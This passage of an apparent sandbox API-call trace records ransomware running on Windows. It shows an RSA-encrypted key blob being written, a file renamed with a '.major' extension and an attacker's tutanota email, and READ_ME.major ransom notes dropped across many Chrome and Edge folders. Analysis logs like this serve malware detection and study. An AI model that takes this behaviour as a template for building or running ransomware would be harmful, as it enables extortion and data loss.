pszString="FDuDOc1UTL8spjDWQnMHmguHWsQ/puwkfabFkKZC/AK1wtKPgo/3DeFFkLkh5IWG\nxHqq/zgm4pFt7nWhaBrd1s0vsHhwXllvQ8o04mXkOVthxT80fco8wqmySiZs/hHJ\n6d2v9MvL+IdDlXJrjtyNTUf8phSbtLj3XV7HMiei1I9gK7wr3i3NOasXwDlm3f+1\n0dHqdyl5JFAJl0R7qaxeRYzg+4FeO6LtS/KwW+GWAU2eVc5+V/nQAykL2SVDOh98\n9PKaizkNBfgq0XMVQYclQh+VR32NPM3uQkhzuOXJ4rZjKhLfu6Yq18uMCOCandpd\njrXJ52qy+6Tq1XAKiZL0JQ==\n", pcchString=0x2e3f9a8) returned 1 [0179.958] WriteFile (in: hFile=0x818, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0179.958] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0179.958] WriteFile (in: hFile=0x818, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0179.959] CloseHandle (hObject=0x818) returned 1 [0179.959] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.jfm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.jfm"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.jfm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.jfm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0179.960] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x21beedbb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e2f8 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] GetLastError () returned 0x0 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] GetLastError () returned 0x0 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] FindNextFileW (in: hFindFile=0x58e2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x21beedbb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] GetLastError () returned 0x0 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] GetLastError () returned 0x0 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] FindNextFileW (in: hFindFile=0x58e2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21beedbb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21beedbb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21beedbb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] GetLastError () returned 0x0 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] GetLastError () returned 0x0 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] FindNextFileW (in: hFindFile=0x58e2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0179.961] SetLastError (dwErrCode=0x0) [0179.961] GetLastError () returned 0x0 [0179.962] SetLastError (dwErrCode=0x0) [0179.962] GetLastError () returned 0x0 [0179.962] SetLastError (dwErrCode=0x0) [0179.962] SetLastError (dwErrCode=0x0) [0179.962] GetLastError () returned 0x0 [0179.962] SetLastError (dwErrCode=0x0) [0179.962] SetLastError (dwErrCode=0x0) [0179.962] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0180.017] WriteFile (in: hFile=0x81c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.018] CloseHandle (hObject=0x81c) returned 1 [0180.019] FindNextFileW (in: hFindFile=0x58e2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0180.019] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x21beedbb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e838 [0180.019] SetLastError (dwErrCode=0x12) [0180.019] GetLastError () returned 0x12 [0180.019] SetLastError (dwErrCode=0x12) [0180.019] GetLastError () returned 0x12 [0180.019] SetLastError (dwErrCode=0x12) [0180.019] FindNextFileW (in: hFindFile=0x58e838, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x21beedbb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.021] SetLastError (dwErrCode=0x12) [0180.021] GetLastError () returned 0x12 [0180.021] SetLastError (dwErrCode=0x12) [0180.021] GetLastError () returned 0x12 [0180.021] SetLastError (dwErrCode=0x12) [0180.021] FindNextFileW (in: hFindFile=0x58e838, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21beedbb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21beedbb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c1556f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0180.021] SetLastError (dwErrCode=0x12) [0180.021] GetLastError () returned 0x12 [0180.021] SetLastError (dwErrCode=0x12) [0180.021] GetLastError () returned 0x12 [0180.021] SetLastError (dwErrCode=0x12) [0180.021] FindNextFileW (in: hFindFile=0x58e838, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21beedbb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21beedbb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c1556f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0180.022] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21c1556f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e1b8 [0180.022] SetLastError (dwErrCode=0x12) [0180.022] GetLastError () returned 0x12 [0180.022] SetLastError (dwErrCode=0x12) [0180.022] SetLastError (dwErrCode=0x12) [0180.022] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21c1556f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.022] SetLastError (dwErrCode=0x12) [0180.022] GetLastError () returned 0x12 [0180.022] SetLastError (dwErrCode=0x12) [0180.022] SetLastError (dwErrCode=0x12) [0180.022] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="MicrosoftEdge_bingpagedata", cAlternateFileName="MICROS~4")) returned 1 [0180.022] SetLastError (dwErrCode=0x12) [0180.023] GetLastError () returned 0x12 [0180.023] SetLastError (dwErrCode=0x12) [0180.023] SetLastError (dwErrCode=0x12) [0180.023] SetLastError (dwErrCode=0x12) [0180.023] GetLastError () returned 0x12 [0180.023] SetLastError (dwErrCode=0x12) [0180.023] SetLastError (dwErrCode=0x12) [0180.023] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0180.024] WriteFile (in: hFile=0x824, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.025] CloseHandle (hObject=0x824) returned 1 [0180.025] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="MicrosoftEdge_DNTException", cAlternateFileName="MI18F7~1")) returned 1 [0180.025] SetLastError (dwErrCode=0x0) [0180.025] GetLastError () returned 0x0 [0180.025] SetLastError (dwErrCode=0x0) [0180.025] SetLastError (dwErrCode=0x0) [0180.025] SetLastError (dwErrCode=0x0) [0180.025] GetLastError () returned 0x0 [0180.025] SetLastError (dwErrCode=0x0) [0180.025] SetLastError (dwErrCode=0x0) [0180.025] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0180.026] WriteFile (in: hFile=0x824, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.027] CloseHandle (hObject=0x824) returned 1 [0180.027] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="MicrosoftEdge_EmieSiteList", cAlternateFileName="MICFB7~1")) returned 1 [0180.027] SetLastError (dwErrCode=0x0) [0180.027] GetLastError () returned 0x0 [0180.027] SetLastError (dwErrCode=0x0) [0180.027] SetLastError (dwErrCode=0x0) [0180.028] SetLastError (dwErrCode=0x0) [0180.028] GetLastError () returned 0x0 [0180.028] SetLastError (dwErrCode=0x0) [0180.028] SetLastError (dwErrCode=0x0) [0180.028] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0180.029] WriteFile (in: hFile=0x824, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.030] CloseHandle (hObject=0x824) returned 1 [0180.030] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="MicrosoftEdge_EmieUserList", cAlternateFileName="MI15A7~1")) returned 1 [0180.030] SetLastError (dwErrCode=0x0) [0180.030] GetLastError () returned 0x0 [0180.030] SetLastError (dwErrCode=0x0) [0180.030] SetLastError (dwErrCode=0x0) [0180.030] SetLastError (dwErrCode=0x0) [0180.030] GetLastError () returned 0x0 [0180.030] SetLastError (dwErrCode=0x0) [0180.030] SetLastError (dwErrCode=0x0) [0180.031] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0180.031] WriteFile (in: hFile=0x824, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.032] CloseHandle (hObject=0x824) returned 1 [0180.032] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="MicrosoftEdge_iecompat", cAlternateFileName="MICROS~1")) returned 1 [0180.032] SetLastError (dwErrCode=0x0) [0180.032] GetLastError () returned 0x0 [0180.032] SetLastError (dwErrCode=0x0) [0180.033] SetLastError (dwErrCode=0x0) [0180.033] SetLastError (dwErrCode=0x0) [0180.033] GetLastError () returned 0x0 [0180.033] SetLastError (dwErrCode=0x0) [0180.033] SetLastError (dwErrCode=0x0) [0180.033] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0180.035] WriteFile (in: hFile=0x824, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.036] CloseHandle (hObject=0x824) returned 1 [0180.036] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="MicrosoftEdge_iecompatua", cAlternateFileName="MICROS~2")) returned 1 [0180.036] SetLastError (dwErrCode=0x0) [0180.036] GetLastError () returned 0x0 [0180.036] SetLastError (dwErrCode=0x0) [0180.036] SetLastError (dwErrCode=0x0) [0180.036] SetLastError (dwErrCode=0x0) [0180.036] GetLastError () returned 0x0 [0180.037] SetLastError (dwErrCode=0x0) [0180.037] SetLastError (dwErrCode=0x0) [0180.037] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0180.037] WriteFile (in: hFile=0x824, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.038] CloseHandle (hObject=0x824) returned 1 [0180.038] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="MicrosoftEdge_ieflipahead", cAlternateFileName="MICROS~3")) returned 1 [0180.039] SetLastError (dwErrCode=0x0) [0180.039] GetLastError () returned 0x0 [0180.039] SetLastError (dwErrCode=0x0) [0180.039] SetLastError (dwErrCode=0x0) [0180.039] SetLastError (dwErrCode=0x0) [0180.039] GetLastError () returned 0x0 [0180.039] SetLastError (dwErrCode=0x0) [0180.039] SetLastError (dwErrCode=0x0) [0180.039] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0180.040] WriteFile (in: hFile=0x824, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.041] CloseHandle (hObject=0x824) returned 1 [0180.041] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c1556f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c1556f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c1556f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0180.041] SetLastError (dwErrCode=0x0) [0180.041] GetLastError () returned 0x0 [0180.041] SetLastError (dwErrCode=0x0) [0180.041] SetLastError (dwErrCode=0x0) [0180.041] FindNextFileW (in: hFindFile=0x58e1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c1556f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c1556f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c1556f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0180.041] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x21c3b374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e5b8 [0180.042] SetLastError (dwErrCode=0x12) [0180.042] GetLastError () returned 0x12 [0180.042] SetLastError (dwErrCode=0x12) [0180.042] GetLastError () returned 0x12 [0180.042] SetLastError (dwErrCode=0x12) [0180.042] FindNextFileW (in: hFindFile=0x58e5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x21c3b374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.042] SetLastError (dwErrCode=0x12) [0180.042] GetLastError () returned 0x12 [0180.042] SetLastError (dwErrCode=0x12) [0180.042] GetLastError () returned 0x12 [0180.042] SetLastError (dwErrCode=0x12) [0180.042] FindNextFileW (in: hFindFile=0x58e5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Default", cAlternateFileName="")) returned 1 [0180.042] SetLastError (dwErrCode=0x12) [0180.042] GetLastError () returned 0x12 [0180.043] SetLastError (dwErrCode=0x12) [0180.043] GetLastError () returned 0x12 [0180.043] SetLastError (dwErrCode=0x12) [0180.043] FindNextFileW (in: hFindFile=0x58e5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c3b374, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c3b374, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c3b374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, 